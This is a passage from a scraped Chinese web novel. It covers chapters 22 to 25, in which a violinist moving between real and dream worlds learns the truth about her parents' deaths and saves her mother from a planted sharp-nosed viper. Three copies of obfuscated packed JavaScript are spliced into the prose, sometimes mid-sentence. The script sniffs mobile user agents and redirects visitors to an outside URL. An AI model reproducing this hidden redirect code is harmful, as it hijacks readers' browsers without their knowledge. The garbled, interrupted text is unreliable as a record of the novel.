d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16102838|179816||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 半碗留给蕊蕊了。 徐雯喝完汤重新躺下,徐箴言端起碗,关掉床头灯打算出去。 黑暗里,徐雯突然握住他的手腕,声音有些沙哑,“对不起……箴言。” 徐箴言缓了几秒,弯了弯唇角,“没事。” …… 阳光灿烂的周六,林菀一大早就来到公安局。 警方向她出具了调查结果,果然跟江小姗讲的一样,服务员想讹钱所以追尾,跟林珠莉没有关系。甚至林珠莉也被叫过来说明结果。 林珠莉进来时,林菀正在看手机上自己跟徐箴言的聊天记录。徐箴言说他知道试管婴儿的事情,是因为林菀以前接受杂志采访时提过。真的是这样吗?林菀不知道,她连自己做过什么采访都不知道。 而林珠莉坐到她身边,林菀立即将手机黑屏,反扣到桌上。纵然如此,她还是清楚徐箴言的话已经对自己造成影响。起码此刻她不再那么反感林珠莉。 交流过程中,林珠莉只跟警察沟通,没有看旁边的林菀一眼。直到走出公安局大楼,林珠莉才开口:“我给你的名片,落车里了吧。” “嗯。” 林珠莉再次掏出一张,用指尖夹着递过来,“或许你有天需要。” 需要什么?需要她这个离婚律师?林菀盯着她,“你什么意思?” “你已婚,徐箴言也有老婆。这点不需要我说明吧?”她倒是不知道自己的银行合作人徐箴言跟林菀有关系。 “这就是你的态度?我是你女儿。”林菀气笑。太离谱了,她做生意都做到自己闺女头上。 林珠莉收了脸上的笑容,“早在你进民政局时,我就提醒过你一次。”她并不是没阻止过。 “就算我要离婚——可你是称职的律师吗?你对方女士说的那些话,我可没忘。” 林珠莉的眼神瞬间变得犀利。“你了解什么?那个男人最年轻的阶段,她已经享受过了。留给小三的是一个又丑又油腻的老头。她有什么不甘心?男方暂时还有亏欠心理,愿意净身出户。她最理智的做法就是立即签离婚协议,把房、车、存款全部拿到手。她才五十岁,好好保养,起码还有三十年活头。她的后半辈子才刚刚开始,在别人洗衣做饭吵架骂街的时候,她能无拘无束旅游跳舞,有什么不好?男人的亏欠心理就像一阵风,很快就过了。一旦她纠缠不休,磨掉对方耐心,她能到手的财产立即大打折扣。” 林菀有点愣住。她没想到竟然还有这种解释。林珠莉的考虑……的确是将利益最大化。 “你还是太年轻了。”留下这句话,林珠莉转身离开。 林菀看着她的背影,忍不住问出了她很早就在思考的问题——“跟我爸结婚,你后悔吗?”她不明白林珠莉的动机。然而不管是在现实生活中,还是在梦里,林珠莉竟然都选择了跟林乃岳结婚。可谁天生就迫切地想当一个杀人犯?尤其对林珠莉这样能把生活经营得很好的人来说。 “或许你不跟他结婚的话,过得更好。”林菀补充说。 初夏的风中,林珠莉闻言回头。她站在阳光下,脊背永远笔直。 “永远不要美化你没选择的那条路。” 22. 陈年旧事 银行,顶楼花园。几个抽烟的人在闲聊。 “就是延平路那边,我草,连环追尾,还都是好车。” “那个撞车的服务员赔上底裤都不够。”穿灰衬衫的男人随意地将烟头丢进一人多高的花墙里,“最近车祸挺多啊,看新闻城东也有出事的,死了三个人,好像是寻仇。”他瞧见庞涛在旁边出神,便抬抬下巴,“哎,想你第几个老婆呢?” “想你老婆。”庞涛眯了眯眼睛,“这些挂掉的人里没个女人,太他妈遗憾了。” “咋说?” 庞涛似笑非笑地抽着烟,“多险象环生的事故啊,适合拍电影。那总得来段啪啪啪的剧情吧?没女人不方便。”所以遗憾没个女人。 “牛,不愧是庞哥。”同事竖起大拇指。 花墙之隔,徐箴言闻言突然顿住。他难以置信地放下温热的咖啡杯。 “那这个文件,我就先拿去签字了?”跟他一起上来聊工作的同事合上文件夹,见徐箴言出神又喊了一声,“箴言?” “好。”徐箴言回神,蹙眉望着庞涛那群人一边喷口气清新剂,一边朝电梯的方向走。 原来,林菀的警惕不是没有道理。 是他过于轻信了。 …… “什么意思啊……”涂淼看着徐箴言发来的消息,从车里出来。她已经到达林菀家楼下。 等进了林菀家大门,涂淼一边换鞋,一边迫不及待地问,“你跟徐箴言到底有什么我不知道的事情?” “……怎么?”林菀拎着小提琴放回有隔音墙的练功房。 “他给我发消息说,林菀说的对,庞涛人品有问题,跟他合作多注意。”涂淼念着消息内容,跟着进来。 “徐箴言说的?”林菀手下一顿。 “对。” “你现在信吗?”林菀瞧着她。 “这都是庞涛的同事提醒了,我还不能长个心眼吗?回头我得仔细问问。”涂淼一屁股坐到沙发上,“庞涛如果人品有问题,我这理财的钱还能放心么。要不然早点换人了事?” 林菀没说话,因为没想到她一直担心的事情,竟然被徐箴言一个短信就搞定了。 “呐,我过来是要把这个给你。”涂淼大概有点心虚,从包里掏出一个护身符在林菀面前晃晃,“我在鸿山寺求的,还请大师开光过。你最近总是出事,把这个带身上。” 林菀摸着那个秀金丝的小布袋,轻轻说了声谢谢。 “情绪不高啊,林同学。”涂淼歪头看她,“之前说起庞涛,你就跟打了鸡血一样亢奋,今天倒是从头到尾保持平静。” “因为……”林菀弯了弯唇角,“对很多执念,我突然之间释然了。” 永远不要美化没选择的那条路。不管林珠莉说这话的意欲为何,可这句话就跟洪水一样冲开了她用荆棘和倒刺堆叠起来的心防,里头防护的是充满遗憾的种种选择。 而如今,她不应该,也不会再美化“假如自己当了小提琴家”这条路。她会平静地接受一切艰难险阻,平静地坚持继续往前走。她不会再问诸如“为什么当了小提琴家,还会出现这样的事情”的问题。所以庞涛又奈何?两亿保险又奈何?未知的丈夫又奈何?让一切都放马过来吧。她有勇气,也有毅力去保护好自己,也保护好爱的人。 “我可不能释然。人呐,还真是越有钱越迷信。你猜我为什么去鸿山寺?”涂淼自来熟地回到客厅,打开酒柜开始掏酒瓶,“可能老天爷也提醒我。前天晚上梦见我被庞涛嘎了,他说是我害他。我寻思我不可能害他啊。” 林菀突然跟被定身一样站在原地,一动不动地盯着涂淼。 涂淼碰地一声开了金酒瓶,“咋了?你也来一杯?” “在梦里,你和庞涛是什么关系?” “……没梦到这个。上来就是他要杀我。”涂淼自顾自地倒酒,“肯定也是理财师和客户呗。” 林菀深呼吸了一下,走过去帮忙,尽量不让涂淼看出她的异常,“我之前……看过一个重刑犯的庭审。我是说在电视上,别这么惊讶。他把自己的犯罪历程描述得非常痛苦,把受害者描述得罪大恶极死有余辜。其实完全就是为了让听众让法官同情他。可是如果去问受害者家属,就会听到一个完全不同的故事。所以,你没有害他。那只是他血口喷人。” “这是梦,又不是现实。你不用安慰我。”涂淼哗啦哗啦地在冰箱里掏冰块,又拿出两个柠檬,“不过感觉你说的挺有道理。杀人犯总是会给受害者泼脏水。围观者也这样,非得找出受害者值得被杀的地方。世界上哪有那么多完美受害者——《宇宙奥秘之太阳黑子》,你这是看的什么书啊?研究天体了还。”涂淼将书放到一边,瞧见旁边一堆书都是关于什么太阳系、什么黑洞啥的。她一翻,上面都做着笔记。 “业余学习而已。”林菀切着柠檬,突然刀一滑,脑海里电光火石般想起一件事——几次见面下来,林珠莉没有说过一句关于林乃岳的坏话。 纵然林菀问了她是否后悔和林乃岳结婚,林珠莉都没有说林乃岳是个如何糟糕的人。 “涂淼,”林菀慢慢地放下刀,“你听过我妈说我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“是啊。”大爷上下打量她,“你也是街道拆迁户?” “我不是。”林菀摇头,侧头看向大楼,“只是有亲戚在这里住过。” “那你别找了。这楼里来来去去住的人可多。” “……”林菀犹豫了一下,突然道,“这栋楼里是不是曾经有过凶杀案?” 大爷皱起眉头,“你问这个做什么?” “这里不是要修新的小区嘛,寻思房价会不会更低点。” “不可能。案子是二十多年前的事情,对现在房价不影响。就是一个男的把他老婆杀了,自己也跳楼了。” 林菀以为自己听错了,“谁杀谁?” “男的杀——” “据说是那个女的动手。” “你跟我犟什么。当时是我看到报警,我还不清楚?” 林菀,瞬间如遭雷击。 23. 拉里艺术画廊 从小卖部出来,明明外面是艳阳高照,可林菀却觉得浑身寒凉。 路边的石凳有些烫人,她坐下又站起,在树荫下徘徊不休。树叶偶尔打着旋儿落下,人工湖上的热风扑面而来。 一个小时后,她迎风而立,终于拨通二叔的电话。 没有多余寒暄,她直奔主题,“当初是您接到警方通知,独自到莱城处理我爸妈的案子?” “怎么又说起这个?”二叔带着酒意强调,“杀人犯是你妈。” “我还没问呢。”林菀垂眸看着被风吹着在地上抖动的树叶,“很难受吧,家里出这种事,杀妻案一辈子洗不白。” “当然难受——”电话那端突然安静了一下,“你刚刚讲什么?” “你骗我。”林菀深深呼吸着,借由吐息的空气驱散胸中的愤怒与剧痛,一字一句道,“你颠倒黑白,抹黑被害者。骗了我快三十年!” “谁说的?”二叔瞬间酒醒了一大半,“别跟你妈一样发疯。” “我发疯?你怎么不问问你自己正常吗?把一个受害者描述成杀人犯,你的良心在哪里?”林菀紧紧抓住手机,手背露出条条青筋。“欺瞒我一辈子,让我痛恨我的母亲,这是人做的事情吗!” “我——” “少跟我狡辩。我难道还不清楚你的心思?亲弟弟是杀妻犯——还会有人跟你家做朋友吗?亲戚躲避还来不及。可换个说法,杀人的是他老婆。作为受害者亲属,可赚够了同情心。”也就是当时信息不发达,才给了他在老家信口雌黄的机会。 “你这是跟长辈说话的语气吗!我再不至于也把你拉扯成人!” “从小到大,我的奖学金给谁用了?我拿到一毛钱了吗?我读大学花你钱了吗?四年的大学贷款是我闲着没事干才去申请吗!” “你真跟你妈一样是养不熟的白眼狼。如果不是跟她结婚,乃岳肯定还活着。当初他想自杀都回村子买敌敌畏了。怎么婚前好端端的人,被你妈那个瘟神沾染上了就精神崩溃?该死,她真的该死。乃岳就该拉个垫背的——” 林菀碰一声摔了手机。 旁边打扫落叶的环卫工吓了一跳,抬头一看。长椅上坐着个姑娘,看着平平静静,可放在膝头的手却紧紧握拳,不住颤抖。 良久,恢复冷静的林菀将被风吹到眼前的发丝撩到耳后,然后起身将手机卡拔出来,把破碎的手机丢进垃圾桶。 谁说凶手的家属一定恨其不争?他们给受害者泼脏水是常有的事情。所以二叔说的话,林菀一个字也不信。 可关于母亲……在多年观念被摧毁的情况下,林菀有一种“近乡情更怯”或者“只可远观不可亵玩”的心情。在另一个世界,她与林珠莉依旧是陌生的,是有罅隙的。而林珠莉显然也不是传统意义上的慈爱母亲。过去种种,止住了林菀迈向林珠莉的脚步。 所以,林菀想要了解更多的内情。 由于二叔故意为之,林菀不认识母亲那边任何亲戚。而关于父亲,二叔在回忆林乃岳往昔荣光时,反复提起过帮林乃岳卖出最贵一幅画的艺术画廊。 林菀还记得那个画廊的名字,拉里艺术。搜索之后她发现那家画廊早在三年前就因经营不善而倒闭,店主离开莱城,不知所踪。 她不可能再回到三年前,但是,她能回到五年前。 …… 林菀再次乘坐午夜地铁穿越时空。第二天一大早,她就脚步匆匆地出门。她在大众点评上查询过了,拉里艺术这家店还存在,甚至生意不错。 林菀很快就到达目的地。 与真实世界里它狭窄|逼仄,破旧褪色的门脸相比,在梦中世界里,拉里艺术是一家窗明几净,墙角植被茂盛的复古画廊。 林菀推门而进,震惊于从天花板到墙角的各种色彩丰富的画作、摆满架子的各种奇形怪状艺术品。她更不可思议于门口问好的绿色和尚鹦鹉,收银台上的印度檀香,以及一个手工咖啡柜台。这里还有一个图书角,摆满各种语言出版的艺术书籍。与其说拉里艺术是一个画廊,更不如说是一个艺术工作室——二楼标识有一个手作坊。 “早上好,亲爱的。”一个戴着帽子的中年男人在柜台后招手。他穿着衬衫,外面套着毛呢格子马甲,脖子上系着波西米亚风格的丝巾。 “你好。”林菀走进来,差点踩到地上的鹦鹉。那只绿色的鹦鹉穿着裤兜,扑棱翅膀,一步步爪喙并用,已经从架子爬到地上,满地溜达好似走地鸡,“欢迎光临!欢迎光临!” “不用管它,它就是人来疯。”中年男人从柜台后出来, “你想看什么?需要介绍么?” “随便看看。” “好的,林女士。有问题就叫我。”男人一个转身,盈盈地回去。 “你认识我?” 男人又扭身瞧她,抱着胳膊,“大名鼎鼎的小提琴家,谁不认识?” 林菀装作惊讶的模样,“那你也知道我是林乃岳的女儿?” “以及林珠莉律师的女儿。”男人补充道,伸出手来,“我是毛拉。” “你好,”林菀跟他握手,“我只是经过而已,随便进来看看。没想到遇见父母的朋友。” “谈不上朋友,算是老熟人,早就没联系了。你父亲刚刚入行时,有几幅画是经过我的手卖出去的。”毛拉说,“后来他就有了艺术经理人。” 林菀笑了,背地里紧紧地攥紧手指,“虽然说起来轻描淡写,可我知道他一路走来不容易。” “对。画痴,我觉得他是个画痴,颇有点不疯魔不成活的意思。”毛拉回到柜台后,“整天除了作画,就是研究谁比他好,取长补短。后来他出事……说实话能料到。他有点那个倾向的。” 林菀心里一沉,可面上没表现出来,“确实,不过我妈欣赏他沉迷绘画这一点。” 毛拉有些疑惑,“当时他们经常吵架。你不知道?” 林菀一笑,“不知道,大概是我妈顾及形象,从没说他俩吵架。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16102840|179816||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “哎,毕竟林画家默默无闻时衣食住行都靠林珠莉女士,他画画开销又大。好多年下来,吵架难免的啦。”毛拉耸耸肩,“林画家当时生气不想回家,我还收留过他几晚。” “毛老板——”徐箴言推门进来就诧异地发现林菀在这里。林菀也愣住。 “你们认识?”毛拉看出异样。 “对。”徐箴言看着林菀,“还好吗?” “嗯。”林菀点头。她一时有些不知道该如何跟徐箴言说话。 “稍等一下。徐画家来拿他送来装裱的画。”毛拉说。 “别,我不是画家。” “过分的谦虚就是自傲。”毛拉吭哧搬出来三幅包裹好的油画,“看看你满不满意。”他说着就三下五除二拆出来一幅。这幅油画是夜色中淡紫色的怒放加百列月季。 林菀一瞬间反应过来,“这是你在大师班丢失的那幅画?找回来了?” “没,我后来重新画了。” “确实很好看。”林菀看着那花团锦簇的加百列。 “应该是说相当好看。有好几位客人想买。”毛拉迫不及待地劝解徐箴言,“你若是愿意,我能帮你开价到这个数。”他伸出一只手五个手指头。 “不了。”徐箴言说,“我想留下。” “行吧,我去给你包好。”毛拉说完又回内室。 安静的大厅,只听得墙上的挂钟滴答。 “对不起。”他说,“对不起。” “……为什么道歉?” “第一个对不起是因为之前你关于庞涛的看法是正确的。第二个对不起,是因为我了解你的一些私人信息,但一直装作不知道。”他指的是林菀的保险,以及她和母亲的冲突。 “你之前说,我母亲不会伤害我。”林菀看着他笑了一下,“你没错。” 徐箴言打量着她的眉眼,“这是好事,为什么会难过?” 林菀不能细说个中原因,只能说起徐箴言了解到的,“我跟她一直不融洽。没见过这样的母女吧?我几乎不关心她,她也鲜少过问我。” 徐箴言想了想,“很多人觉得做我这行的,过分精明,没有人情味。我们在工作里确实习惯于量化,将一件件事情都变成一堆堆数据,然后分析优劣,定夺取舍,就好像一切都只关乎于利益、金钱。这样显的很冷血,对吧?” “嗯。” “可是必须这样做。因为工作内容直面社会经济。可能每一项数字背后都意味着一个破产的家庭、一个失业的年轻人、一种消亡的职业……乃至生老病死所有事情。在这种情况下,必须抛却感情牵绊,使用复杂的名词和术语才能聚焦问题本身,甚至越无情越好,只有这样才能毫无偏袒地创造出最优社会效益,创造出更多新行业新工作新需求。所以……”他顿了一下,“有时候,无情才是最大的温柔。” 这句话如同潮水冲刷了林菀的心田。 徐箴言定定地看着她。他没有说话,但眼神似乎已经述说很多。 24. 单方面恋爱 无情才是最大的温柔。 林菀缓了一会儿,才慢慢说道:“你在生活中也践行这个信条吗?”她从来没有听徐箴言说过他老婆的事情,她也没有问过。因为一旦过问就代表心虚、愧疚、嫉妒等种种从心底冒出的情绪。 在徐箴言暴露了对她的背景一清二楚的事实后,林菀反而脑子清醒些了。她并不是不信任徐箴言,而是有了一种距离感。毕竟怀疑母亲会对自己下手,是一件看起来很可笑的事情,也是一件非常可悲可怜的事情。林菀不想得到任何怜悯,她敏感的自尊心从未变过。 “我总能克制住自己。”他慢慢地说。灯光温柔,让他细密的眼睫毛在下眼睑投下一片浅淡的阴影。 “我希望——不,我认为我也能控制住自己。”她这样回答。 徐箴言看着近在咫尺的她,扬唇笑笑,“你——” “对了,还记得我们相识的原因吧?”她朗声说,恢复情绪笑起来。 “记得。” “最近,我的确断断续续想起一些事情了。” “什么事情?”他的声音陡然高起来,眼眸里有流光在涌动。 “比如我一路学琴的经历,还有和涂淼一起旅游、学习的日子。” “……只到涂淼为止?” “差不多。”林菀点头,端起毛拉先前送过来的柠檬水,“我再接再厉吧。”再接再厉回忆起更多的梦境。 徐箴言略微迟疑,“是因为涂淼经常提醒你么?” “有可能。”林菀想了想,真的多亏涂淼之前给她看了那么多照片视频。 徐箴言默然半晌,突然开口说道:“听说过回避型依恋吗?” 林菀差点就问你怎么知道我是回避型依恋人格。她盯着杯子里缓缓沉降的柠檬片,免得让他看到自己的表情,“听说过。” “我以前喜欢的一个女孩儿。”他慢慢地说,“她就是回避型依恋。” 林菀诧异抬头,心跳开始紧一阵,慢一阵。 “最开始接触时,她经常找我们玩,我以为她喜欢我的朋友,所以没有表白。直到泼水节时因为游客太多,我们临时上街执勤。有人端着大水盆出来,她被吓到了,第一反应是转身往我怀里躲。” 林菀装作满不在乎的样子,“然后你一直保护她?” “不,是她保护我。她站在我跟前,反复制止企图向我泼水的游客。因为当时我感冒初愈。” “……再然后呢?”林菀垂下眼帘,轻声开口。 “有些人错过就是一辈子,我不想。当时刚好退役,我便跟她表白了。” “多好,皆大欢喜。”林菀笑得有些酸涩。 “她拒绝我了,总是担心一旦答应,就连朋友都做不成。她跟我聊了许久,讲清楚她是回避型人格。别人前进一步,她就后退一步,处理不好感情关系。她很烦恼,但越是珍惜,越不敢走下一步,只好像鸵鸟一样把头藏起来。” 林菀的心跳猛地漏了一拍,下意识咬住嘴唇保持理智,这不就是翻版的她么?一旦确定关系,立刻觉得索然无味,想要后悔。如果真的特别喜欢对方,那肯定舍不得开始吧。对自己没信心,害怕开始就是结局。 “我说没关系,那咱们先不谈男女朋友。你想我的身份是谁都可以,只要让你觉得没压力。”他的语气不急,甚至有些气定神闲,“所以我一直在谈单方面的恋爱。在她那里,我是她的同事、她的邻居、她的调音师、她的空调师傅、她的室友——你别摇头,她真跟人介绍过,我是她请来修空调的。” “可是你看上去压根不像空调师傅。谁会相信空调师父西装革履?”林菀觉得荒唐,她突然有点想笑。 “这就不是我要考虑的问题了,这是听到我是空调师傅的人需要考虑的问题。”徐箴言平静地喝着水。 “你就不怕……她另外还有个男朋友么?”林菀说。没有名分,就意味着没有安全感。 “你觉得世界上存在没有条件的爱吗?” “应该存在吧,不过挺难。”林菀想了想。 “这其实应该是爱存在的唯一方式。我选择爱她,就应该无条件相信她。我要注意的,就是以她的方式给与她安全感。”这是他爱人的方法。“她若有了其他喜欢的人,我便放手离开……肯定希望她过得好。” 林菀心海潮起潮落,哑声道:“所以你很克制。” 徐箴言挺直脊背,温柔地轻笑道,“回避型依恋,这并不怪她,不是她的错。每个人的成长都会有波折,遇见不同的心理问题。就好像迷路的兔子,她刚好撞到了那株名叫回避型依恋的大树。” 林菀有些错愕,“这话的意思,你也有心理问题?” “之所以在快毕业时选择入伍,就是因为遇到当时无法理解的人生难题。好在后来慢慢想通了。” “我记得你的人生理想之一是身心健康。” “只有自己健康,才更能包容理解别人。” “那,后来你转正了吧?”林菀挥去脑海中的杂念,“从空调师傅变成丈夫。” “是的。”徐箴言默然与她对视,喉结动了两下,克制依旧,“希望你能再想起什么。” 林菀垂眸默然不语,然后勾起唇角,莞尔笑了。 毛拉说徐箴言人好,他是真的好。就算讲述自己的故事,都不忘了安慰她这个“失忆症”患者。林菀突然间释怀了,就此能正视心中许多情绪。她原谅、呵护并安慰在另一个世界找去徐箴言工作地址的自己。 而且呀,她突然恍然大悟,这个世界对女孩子的规训太傻了。不要因为他对自己好,就觉得是不是喜欢上自己了。或许他就是这样一个好人,或许这只是最纯粹最单纯的友情。感情有好多种,为什么偏偏要去考虑爱情呢?林菀在心底默默念着,纵然一时依旧酸涩,但她应该因为有徐箴言这样一个朋友而开心。 徐箴言看她,静了一会儿,“接下来你要做什么?” “我跟我妈约好见面了。”她说。其实没有,她的确邀约了林珠莉,但林珠莉出差了,还有两天才能回来。林菀,只是需要独处消化一下今天的听闻。 …… 而毫不意外地,她当晚一觉醒来,回到原本世界。 她突然又有了久违的不真实的陌生感。 她思考了很多,又仿佛什么都没琢磨到。曾经她甚至有个隐秘的欲望——把徐箴言带回来。可现在她什么都不想了,徐箴言很幸福。于是,她只是继续学琴,顺带研究太阳风暴,希望 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16102841|179816||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有一天能把涂淼,以及她的母亲一并带回来。 林珠莉会愿意过来吗?林菀说不准。 从毛拉的言语看,在林乃岳未发迹之前,靠林珠莉养活多年。可在私人诊所当护士能赚多少钱?想必他们的生活肯定异常拮据。以林珠莉的性格看,她的确不像是能白白养着软饭男的人,所以吵架肯定也是真的。 只不过……林乃岳宁愿去不熟悉的画廊老板那里舔着脸借宿,都不愿意出去找份临时工。而在他自己飞黄腾达后,便不再联系毛拉这位慧眼识画,将他举荐出去的伯乐。明明偶尔拿出两幅画让毛拉当经手人,都会让毛拉的生意再上一个台阶,可林乃岳没有做。这种人品,实在不敢苟同。 二叔还说林菀是白眼狼,可林乃岳的做法难道不显得更加白眼狼?林菀细细地思考着。无怪乎……他会在发迹之后狂妄杀妻。对他来说,大概升官发财死老婆是一件大乐事。 或许,当时有保险的是林菀以及她的母亲,而不是二叔口中的林乃岳和林菀。 只不过,为何他还会深情地记录下林菀小时候的事情,还能被汇集成一本《林乃岳:关于女儿的小事》? 人的复杂性,就这样多面么? “Nora,谭姐在办公室有请。”同事敲敲她的椅背。 “好。”林菀回神,端起笔记本电脑,拿起纸笔,转身去办公室。 谭姿已经坐在长桌的首位。她穿着正式但偏宽松的西装,能遮盖住腹部。 林菀进来时,谭姿刚好喝水吃下随身携带的药丸。 “是叶酸吗?”林菀坐下来。 “小姑娘家家的,怎么知道?”谭姿打趣。 “我朋友有结婚的。”林菀说,“听说叶酸能防止胎儿畸形。” “是的,”谭姿轻抚腹部,“现在正是它大脑发育的时候。” “您打算什么时候休产假?” “我会坚持到生产前一天。”谭姿笑着,眼神却很坚毅,“从基层员工干到如今的位置,我要付出的比不用生孩子的男人多多了。” 她说完,曹磊和Maggie也抱着电脑进来。“不好意思,谭姐。我俩刚刚去一楼买奶茶了。” “没事。”谭姿用笔敲敲桌子,“喊大家进来,是让你们继续跟林吾代言这个项目。” “不是已经陷入僵局了吗?”Maggie斗胆问。 “所以要加把劲推进啊。”谭姿知道他们想问啥,“我也想换人。但这事儿不是我说的算,得说服董事长去。” “董事长买了林吾多少画?”曹磊问。 “起码十幅。”谭姿示意曹磊打开投影仪。曹磊一边忙活一边心算,十幅画得小一亿吧。 “林吾,林吾,听名字就挺以自我为中心,怪不得是块难啃的骨头。”Maggie说。 “林吾是艺名。”谭姿轻描淡写地说。 林菀冷不丁看向她,半晌才道:“……他真名是什么?” “没人知道。”谭姿点开文件,“现在还对接不到他。上次他来参观的结果就是给了我们他经纪人的联系方式,只能跟他那个经纪人商量。对了,上次在外包翻译公司找的那个法语口译,你再联系一下。” 林菀回神,“好的。” 25. 尖吻蝮之吻 画家林吾,是否在平行世界存在? 林菀在手机上输入“画家林吾”的字样,还没来得及点“搜索”时,司机在自动升降杆前停下车,“到小区了。” 保安打开亭子窗户,“去哪家?” “C区,100号。”林菀说。 “访客?”见林菀点头,保安拿起座机电话确认,等了一会儿,“100号没人。” “我是户主林女士的女儿。” “噢,那进去吧。” 林菀还以为林珠莉已经到家了,不过到门口等等也无妨。两人约好下午三点见面。由于林珠莉从外省出差开车回来,十分劳累,所以地点约在家里。 林菀扫码付钱下车,一看时间已经三点半。她见到别墅车库大门紧锁,但门口停了一辆崭新的商务车,跟林珠莉以前那辆车的型号一样。这一瞬间,林菀有一种如临梦境的感觉,突然意识到自己来过这里,甚至清楚大门密码。 走上台阶,正当她要按门铃时,她突然被门上的金属花纹闪得下意识闭眼。很明显,这是人为制造的金属反光。她回头一看,发现林珠莉坐在车里,放下粉饼镜子,朝她伸出手指比了一个嘘的手势。 林菀立即看四周,没有一个外人。她走过去,而林珠莉伸手示意要手机。 林菀将手机递过去,见林珠莉打开备忘录打了一行字,拿回来一看——“别说话。我脚边有蛇,暂且没动,可能醒着也可能在睡觉。回屋里报警。” 林菀瞬间感觉浑身的汗毛都竖了起来。而林珠莉表情未变地朝她点头,突然皱眉,脸色一变。她脚边传来轻微响动。 “报警。”林珠莉瞬间出声。 蛇动了。 她话音未落,林菀砰地一声猛拉车门,见到那手腕粗细,斑纹如枯叶的蛇已经绞住林珠莉的靴子,两颗獠牙深深地嵌入皮靴鞋背。而林珠莉还是不能动,越动蛇绞得越紧。 “你报警!”林菀将手机丢给她,转身就朝门口冲。 她丢下包,两步并一步跨上台阶,迅速摁密码进门,然后头也不回地直奔二楼。二楼阳台洗衣房里,钢制的撑衣杆斜靠角落。 林菀抓住那撑衣杆,比了一下杆头叉子的大小,低头奋力用脚踩,叉头很快弯曲,开口朝内收小。 心脏剧烈跳动着,仿佛要突破胸口,林菀稳稳心神,拿着撑衣杆,拽起一张抹布下楼,出门在旁边花坛又捡了块尖锐的石头。 她回到驾驶位车门边,刚刚举起晾衣杆就看到那蛇头竟然旋转一圈,迎向她吐信子。说时迟那时快,林菀狠狠将钢制叉头朝蛇头刺去。 这一下被蛇头躲开了。枯叶色的蛇立即松开林珠莉的脚,作势要攻击林菀。林菀一瞬不瞬地盯着蛇头,再次出尽全身力气刺下去。这一次,她成功卡住了蛇头。蛇身立即顺着杆子盘踞上来。 恢复活动的林珠莉夺过林菀另一只手里的抹布丢在蛇头上,以蒙蔽住蛇的视线。而林菀则毫不犹豫地举起石头狠狠砸下去。 直到蛇完全不动弹,她才抹了把从额头滑落到眼睫毛上的冷汗,“下车。” 林珠莉已经不知自己僵坐多久,再加上蛇的全力绞杀,导致她血循环不足,腿脚全麻。等到微微恢复知觉,她才扶着门把手出来。 林菀自己也觉得一脚深一脚浅,她将林珠莉扶到一边的台阶坐下,蹲下身卷起对方的裤腿,脱掉鞋子查看伤势。“警察和救护车什么时候来?”她的声音微微颤抖。 “我没报警。”林珠莉缓缓地说,声音有些嘶哑。在发现蛇醒了,而林菀似乎试图补救时,她便打算先观望再说。 林菀紧紧盯着她,然后抿紧嘴唇,低头观察她的腿脚。林珠莉两只脚的脚踝都一片乌青,显然是被绞的。而她被蛇咬的左脚脚面竟然没有伤口。林菀拎起鞋子仔细检查,发现那条蛇的牙齿嵌入牛皮,留下两个小洞,但并没有贯穿。 她终于失力一般坐到地上,这才发觉自己后背已经全部汗湿,一片冰凉。 林珠莉慢慢恢复体力,拿着林菀的手机回到驾驶位前,揭开带血的抹布,拍照上传网络识别。 “尖吻蝮,中国特有剧毒蛇,也称五步蛇,蛇头可旋转,蛇毒为血循毒,会导致伤口出血不止,乃至全身出血而亡,毒性大于眼镜蛇。”林珠莉看完简洁,捡重要的信息一字一句地念给林菀听。 “你出差是去哪里?”林菀撑起身子走过来,“怎么会遇到这种蛇。” “江西,代理一个农妇的离婚案。”林珠莉将手机还给林菀,沉思道,“江西的确有尖吻蝮,靠近武夷山有很多。” 林菀一声不吭,她想起了前段时间的连环追尾。一个月内,这是第二次出事。“你有没有仇家?” “做律师怎么不可能得罪人?” 林菀将决定权交给她,“报警吗?” “不用。”林珠莉淡淡地说。报警可能也找不出什么,毕竟她确实行经尖吻蝮生存之地,乡下又没监控。如果真有人动手脚,绝对不能打草惊蛇。她倒要看看这游戏谁赢。 “那就清理现场。”林菀说完转身就走。 林珠莉挑眉,略带不可思议地看向林菀走向大门的背影。 林菀在厨房找到扫帚垃圾袋等清洁工具,拿出来时见到林珠莉已经把车库门打开。“先把车推进去。” 两人一起使劲推车,努力半天终于将车推进车库里。 关上车库卷帘门,林珠莉将一双手套递给她,自己也戴着手套将掉落在刹车脚踏旁边的手机捡起来。林珠莉就是停下车后,弯腰捡手机时,看到了那盘踞她脚边,蛇尾耷拉在她左边脚面的蛇。 见到林菀要过来帮忙,林珠莉拦住她,摇摇头,示意她抖开垃圾袋。 然后,林珠莉将还在流血的烂蛇拎出来小心地丢进垃圾袋。她估计了一下,这是一条长达一米五的成年尖吻蝮。 此刻,座位底下依旧血渍模糊。 